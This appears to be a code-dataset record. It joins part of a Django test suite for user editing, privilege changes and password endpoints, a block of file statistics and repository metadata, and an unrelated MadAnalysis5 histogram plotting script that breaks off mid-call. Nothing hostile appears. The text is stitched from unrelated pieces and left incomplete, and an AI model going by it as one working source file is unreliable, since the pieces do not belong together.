self.client.get(reverse('user:edit', args=[user.id])) self.assertEqual(resp.status_code, 200) root = ElementTree.fromstring(resp.content.decode('utf-8')) self.assertIsNotNone(root.find('.//form')) # checks that we can see AccessToken of mine self.assertTrue(any(['AccessToken' == x.text for x in root.findall('.//table/tr/th')])) def test_edit_post_without_login(self): user = User.objects.create(username='test', email='test@example.com') params = { 'name': 'hoge', # update guest => hoge 'email': 'hoge@example.com', 'is_superuser': True, } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 401) def test_edit_post_with_login(self): self._admin_login() user = User.objects.create(username='test', email='test@example.com') count = User.objects.count() params = { 'name': 'hoge', # update guest => hoge 'email': 'hoge@example.com', 'is_superuser': True, } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 200) self.assertEqual(User.objects.count(), count) # user should be updated self.assertEqual(user.username, params['name']) self.assertEqual(user.email, params['email']) self.assertTrue(user.is_superuser) def test_edit_user_with_duplicated_name(self): self._admin_login() user = User.objects.get(username='guest') params = { 'name': 'admin', # duplicated 'email': 'guest@example.com', } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 400) self.assertEqual(user.username, 'guest') # Not updated def test_edit_user_with_duplicated_email(self): self._admin_login() user = User.objects.get(username='guest') # create test user self._create_user('hoge', 'hoge@example.com') params = { 'name': 'guest', 'email': 'hoge@example.com', # duplicated } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 400) self.assertEqual(user.username, params['name']) self.assertNotEqual(user.email, params['email']) def test_edit_user_into_superuser(self): self._admin_login() # create test user user = self._create_user('hoge', 'hoge@example.com') params = { 'name': 'hoge', 'email': 'hoge@example.com', 'is_superuser': True, } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 200) self.assertEqual(user.username, params['name']) self.assertEqual(user.email, params['email']) self.assertTrue(user.is_superuser) def test_edit_superuser_into_user(self): self._admin_login() # create test user user = self._create_user('hoge', 'hoge@example.com', True) params = { 'name': 'hoge', 'email': 'hoge@example.com', # If is_superuser doesn't exist, it becomes False } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 200) self.assertEqual(user.username, params['name']) self.assertEqual(user.email, params['email']) self.assertFalse(user.is_superuser) def test_edit_user_params_without_permission(self): self._guest_login() user = User.objects.get(username='guest') params = { 'name': 'hoge', 'email': 'hoge@example.com', } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 200) self.assertNotEqual(user.username, params['name']) self.assertNotEqual(user.email, params['email']) def test_set_invalid_token_lifetime(self): self._guest_login() user = User.objects.get(username='guest') for invalid_value in ['abcd', '-1', str(User.MAXIMUM_TOKEN_LIFETIME + 1), '']: params = { 'name': 'hoge', 'email': 'hoge@example.com', 'token_lifetime': invalid_value, } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 400) def test_set_valid_token_lifetime(self): self._admin_login() user = User.objects.get(username='guest') params = { 'name': 'hoge', 'email': 'hoge@example.com', 'token_lifetime': '10', } resp = self.client.post(reverse('user:do_edit', args=[user.id]), json.dumps(params), 'application/json') user.refresh_from_db() self.assertEqual(resp.status_code, 200) self.assertEqual(user.token_lifetime, 10) def test_edit_passwd_get_without_login(self): resp = self.client.get(reverse('user:edit_passwd', args=[0])) self.assertEqual(resp.status_code, 303) def test_edit_passwd_get_with_guest_login(self): self._guest_login() user = User.objects.get(username='guest') resp = self.client.get(reverse('user:edit_passwd', args=[user.id])) self.assertEqual(resp.status_code, 200) root = ElementTree.fromstring(resp.content.decode('utf-8')) self.assertIsNotNone(root.find('.//form')) def test_edit_passwd_get_with_admin_login(self): self._admin_login() user = User.objects.get(username='guest') resp = self.client.get(reverse('user:edit_passwd', args=[user.id])) self.assertEqual(resp.status_code, 200) root = ElementTree.fromstring(resp.content.decode('utf-8')) self.assertIsNotNone(root.find('.//form')) def test_edit_passwd_post_without_login(self): params = { 'id': self.guest.id, 'old_passwd': 'guest', 'new_passwd': 'hoge', 'chk_passwd': 'hoge', } resp = self.client.post(reverse('user:do_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 401) def test_edit_passwd_post_with_guest_login(self): self._guest_login() count = User.objects.count() params = { 'id': self.guest.id, 'old_passwd': 'guest', 'new_passwd': 'hoge', 'chk_passwd': 'hoge', } resp = self.client.post(reverse('user:do_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') user = User.objects.get(id=params['id']) self.assertEqual(resp.status_code, 200) self.assertEqual(User.objects.count(), count) # user should be updated self.assertTrue(user.check_password(params['new_passwd'])) def test_edit_passwd_post_with_admin_login(self): self._admin_login() count = User.objects.count() params = { 'id': self.guest.id, 'new_passwd': 'hoge', 'chk_passwd': 'hoge', } resp = self.client.post(reverse('user:do_su_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') user = User.objects.get(id=params['id']) self.assertEqual(resp.status_code, 200) self.assertEqual(User.objects.count(), count) # user should be updated self.assertTrue(user.check_password(params['new_passwd'])) def test_edit_passwd_with_guest_login_and_empty_pass(self): self._guest_login() params = { 'id': self.guest.id, 'old_passwd': 'guest', 'new_passwd': '', 'chk_passwd': 'hoge', } resp = self.client.post(reverse('user:do_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') user = User.objects.get(id=params['id']) self.assertEqual(resp.status_code, 400) self.assertTrue(user.check_password('guest')) # Not updated def test_edit_passwd_with_admin_login_and_empty_pass(self): self._admin_login() params = { 'id': self.guest.id, 'new_passwd': '', 'chk_passwd': 'hoge', } resp = self.client.post(reverse('user:do_su_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') user = User.objects.get(id=params['id']) self.assertEqual(resp.status_code, 400) self.assertTrue(user.check_password('guest')) # Not updated def test_edit_passwd_with_wrong_old_pass(self): self._guest_login() params = { 'id': self.guest.id, 'old_passwd': 'hoge', 'new_passwd': 'hoge', 'chk_passwd': 'hoge', } resp = self.client.post(reverse('user:do_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') user = User.objects.get(id=params['id']) self.assertEqual(resp.status_code, 400) self.assertTrue(user.check_password('guest')) # Not updated def test_edit_passwd_with_guest_login_and_old_new_pass_duplicated(self): self._guest_login() params = { 'id': self.guest.id, 'old_passwd': 'guest', 'new_passwd': 'guest', 'chk_passwd': 'guest', } resp = self.client.post(reverse('user:do_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 400) def test_edit_passwd_with_guest_login_and_new_chk_pass_not_equal(self): self._guest_login() params = { 'id': self.guest.id, 'old_passwd': 'guest', 'new_passwd': 'hoge', 'chk_passwd': 'fuga', } resp = self.client.post(reverse('user:do_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') user = User.objects.get(id=params['id']) self.assertEqual(resp.status_code, 400) self.assertTrue(user.check_password('guest')) # Not updated def test_edit_passwd_with_admin_login_and_new_chk_pass_not_equal(self): self._admin_login() params = { 'id': self.guest.id, 'new_passwd': 'hoge', 'chk_passwd': 'fuga', } resp = self.client.post(reverse('user:do_su_edit_passwd', args=[params['id']]), json.dumps(params), 'application/json') user = User.objects.get(id=params['id']) self.assertEqual(resp.status_code, 400) self.assertTrue(user.check_password('guest')) # Not updated def test_delete_post(self): name = "someuser" self._admin_login() user = self._create_user(name) user_count = User.objects.count() active_user_count = self._get_active_user_count() resp = self.client.post(reverse('user:do_delete', args=[user.id]), json.dumps({}), 'application/json') self.assertEqual(resp.status_code, 200) # user should not deleted from DB self.assertEqual(User.objects.count(), user_count) # active user should be decreased self.assertEqual(self._get_active_user_count(), active_user_count - 1) # user should be inactive user = User.objects.get(username__icontains="%s_deleted_" % name) self.assertFalse(user.is_active) def test_create_user_by_guest_user(self): self._guest_login() params = { 'name': 'hoge', 'email': 'hoge@example.com', 'passwd': 'puyo', } resp = self.client.post(reverse('user:do_create'), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 400) def test_create_admin_user(self): self._admin_login() params = { 'name': 'hoge', 'email': 'hoge@example.com', 'passwd': 'puyo', 'is_superuser': 'on', } resp = self.client.post(reverse('user:do_create'), json.dumps(params), 'application/json') self.assertEqual(resp.status_code, 200) self.assertTrue(User.objects.last().is_superuser) def test_delete_post_by_guest_user(self): self._guest_login() user = self._create_user('testuser') resp = self.client.post(reverse('user:do_delete', args=[user.id]), json.dumps({}), 'application/json') self.assertEqual(resp.status_code, 400) self.assertTrue(User.objects.get(username='testuser').is_active) def test_password_reset_with_invalid_username(self): user = self._create_user('testuser', authenticate_type=User.AUTH_TYPE_LDAP) # testing this view class requires a complicated client. # instead of that, we call the override method directly for now. # see also django tests/auth_tests/client.py view = PasswordReset() form_with_unknown_user = UsernameBasedPasswordResetForm({'username': 'unknown'}) form_with_unknown_user.is_valid() resp = view.form_valid(form_with_unknown_user) self.assertEqual(resp.status_code, 400) form_with_ldap_user = UsernameBasedPasswordResetForm({'username': user.username}) form_with_ldap_user.is_valid() resp = view.form_valid(form_with_ldap_user) self.assertEqual(resp.status_code, 400)

37.26773

96

0.58666

2,385

21,019

4.962264

0.077987

0.079848

0.067427

0.084495

0.812928

0.773469

0.758597

0.726236

0.719561

0.692522

0

0.009073

0.281602

21,019

563

97

37.333925

0.774702

0.038394

0

0.679458

0

0.125861

0.00327

0

0.200903

1

0.099323

false

0.162528

0.015801

0.002257

0.121896

0

null

0

1

0

null

0

1

0

7

a88c423b768446f8a008d496985bea4040daeddb

19,098

py

Python

optimization/second_sdEta_mjj_optimization/lumi_and_kin_plots/four_cuts_lum1000/Output/Histos/MadAnalysis5job_0/selection_13.py

sheride/axion_pheno

7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5

[ "MIT" ]

null

optimization/second_sdEta_mjj_optimization/lumi_and_kin_plots/four_cuts_lum1000/Output/Histos/MadAnalysis5job_0/selection_13.py

sheride/axion_pheno

7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5

[ "MIT" ]

null

optimization/second_sdEta_mjj_optimization/lumi_and_kin_plots/four_cuts_lum1000/Output/Histos/MadAnalysis5job_0/selection_13.py

sheride/axion_pheno

7d3fc08f5ae5b17a3500eba19a2e43f87f076ce5

[ "MIT" ]

null

def selection_13(): # Library import import numpy import matplotlib import matplotlib.pyplot as plt import matplotlib.gridspec as gridspec # Library version matplotlib_version = matplotlib.__version__ numpy_version = numpy.__version__ # Histo binning xBinning = numpy.linspace(0.0,4000.0,81,endpoint=True) # Creating data sequence: middle of each bin xData = numpy.array([25.0,75.0,125.0,175.0,225.0,275.0,325.0,375.0,425.0,475.0,525.0,575.0,625.0,675.0,725.0,775.0,825.0,875.0,925.0,975.0,1025.0,1075.0,1125.0,1175.0,1225.0,1275.0,1325.0,1375.0,1425.0,1475.0,1525.0,1575.0,1625.0,1675.0,1725.0,1775.0,1825.0,1875.0,1925.0,1975.0,2025.0,2075.0,2125.0,2175.0,2225.0,2275.0,2325.0,2375.0,2425.0,2475.0,2525.0,2575.0,2625.0,2675.0,2725.0,2775.0,2825.0,2875.0,2925.0,2975.0,3025.0,3075.0,3125.0,3175.0,3225.0,3275.0,3325.0,3375.0,3425.0,3475.0,3525.0,3575.0,3625.0,3675.0,3725.0,3775.0,3825.0,3875.0,3925.0,3975.0]) # Creating weights for histo: y14_THT_0 y14_THT_0_weights = numpy.array([32.1385637013,680.84614287,1006.7351762,1274.79495685,1510.61476388,1666.08763666,1630.57166572,1534.56474428,1391.47686137,1240.60998482,1086.36511104,979.918998141,814.927433152,735.706897978,603.570306104,506.131185838,427.012950579,363.861702255,300.710453931,249.22739606,203.578333414,170.518560466,134.081290283,117.090804186,93.4474735328,78.2993559284,62.6394887427,49.1290097982,41.6573059122,36.7444099324,27.3280076377,22.1080519092,17.9116153431,15.5575172694,11.8728402846,9.72345004339,8.08581638345,7.88111155096,5.3223096448,5.93642214228,4.19643656609,2.55880290616,2.45644998991,2.35409807366,1.63763365994,1.12587307871,0.921168946216,1.53528174369,0.307056348739,0.409408364985,0.0,0.409408364985,0.409408364985,0.307056348739,0.204704232492,0.102352116246,0.307056348739,0.204704232492,0.0,0.102352116246,0.204704232492,0.0,0.0,0.102352116246,0.0,0.0,0.102352116246,0.102352116246,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_1 y14_THT_1_weights = numpy.array([0.0,1.2150324,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_2 y14_THT_2_weights = numpy.array([0.0,0.0,8.5350326327,20.5812121817,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_3 y14_THT_3_weights = numpy.array([0.0,0.0,0.0,0.0,30.2525507083,40.7030941142,39.8827074085,40.2841002032,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_4 y14_THT_4_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,37.3274927708,29.9511085038,25.707222202,17.9360715633,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_5 y14_THT_5_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0743508577,11.1481789148,8.52607798019,6.24542087729,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_6 y14_THT_6_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.31667313581,3.25595513684,2.36902458898,1.83979926138,1.46711287709,0.995090993238,0.802114096071,0.529258567982,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_7 y14_THT_7_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.396258872927,0.296298521438,0.220347521985,0.161402788913,0.107947578131,0.0788275242199,0.0717834615036,0.0393888573604,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_8 y14_THT_8_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0361732064088,0.0220035503934,0.0212770426181,0.0149100322967,0.0120135896194,0.00852251618632,0.00780818789935,0.00490538634876,0.00563104404695,0.000704988204529,0.00283836793712,0.000704988204529,0.00142195432885,0.00141996945461,0.0014186817178,0.00212816122463,0.000708746732991,0.0,0.0,0.0,0.0,0.0,0.0,0.000699318301938,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_9 y14_THT_9_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_10 y14_THT_10_weights = numpy.array([0.0,0.0,52.6685554354,26.32395418,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_11 y14_THT_11_weights = numpy.array([0.0,0.0,0.0,0.0,80.588913484,97.9121896161,172.751271003,126.693628781,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_12 y14_THT_12_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,109.367973259,80.3202179284,65.0808244924,51.9092352817,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_13 y14_THT_13_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.7693930165,26.2104560173,20.4111583844,10.5906438887,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_14 y14_THT_14_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.6108011386,8.77085869396,4.87957113175,4.10242283769,2.89918732727,2.47539222623,1.41402451586,1.62696712862,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_15 y14_THT_15_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.800180766626,0.457368942675,0.190648176163,0.342044183969,0.227948181087,0.152127275009,0.227588146707,0.229677941665,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating weights for histo: y14_THT_16 y14_THT_16_weights = numpy.array([0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0631811578728,0.0406123743611,0.0360980286327,0.0135175127229,0.00452425618802,0.0271079896045,0.00904523038446,0.00450009072042,0.0180802606086,0.00451258442501,0.0,0.00903489451714,0.0,0.0,0.0,0.00450507530528,0.0,0.0,0.00451887603174,0.00451917439461,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0]) # Creating a new Canvas fig = plt.figure(figsize=(12,6),dpi=80) frame = gridspec.GridSpec(1,1,right=0.7) pad = fig.add_subplot(frame[0]) # Creating a new Stack pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights+y14_THT_12_weights+y14_THT_13_weights+y14_THT_14_weights+y14_THT_15_weights+y14_THT_16_weights,\ label="$bg\_dip\_1600\_inf$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#e5e5e5", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights+y14_THT_12_weights+y14_THT_13_weights+y14_THT_14_weights+y14_THT_15_weights,\ label="$bg\_dip\_1200\_1600$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#f2f2f2", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights+y14_THT_12_weights+y14_THT_13_weights+y14_THT_14_weights,\ label="$bg\_dip\_800\_1200$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#ccc6aa", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights+y14_THT_12_weights+y14_THT_13_weights,\ label="$bg\_dip\_600\_800$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#ccc6aa", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights+y14_THT_12_weights,\ label="$bg\_dip\_400\_600$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#c1bfa8", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights+y14_THT_11_weights,\ label="$bg\_dip\_200\_400$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#bab5a3", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights+y14_THT_10_weights,\ label="$bg\_dip\_100\_200$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#b2a596", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights+y14_THT_9_weights,\ label="$bg\_dip\_0\_100$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#b7a39b", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, weights=y14_THT_0_weights+y14_THT_1_weights+y14_THT_2_weights+y14_THT_3_weights+y14_THT_4_weights+y14_THT_5_weights+y14_THT_6_weights+y14_THT_7_weights+y14_THT_8_weights,\ label="$bg\_vbf\_1600\_inf$", histtype="step", rwidth=1.0,\ color=None, edgecolor="#ad998c", linewidth=1, linestyle="solid",\ bottom=None, cumulative=False, normed=False, align="mid", orientation="vertical") pad.hist(x=xData, bins=xBinning, 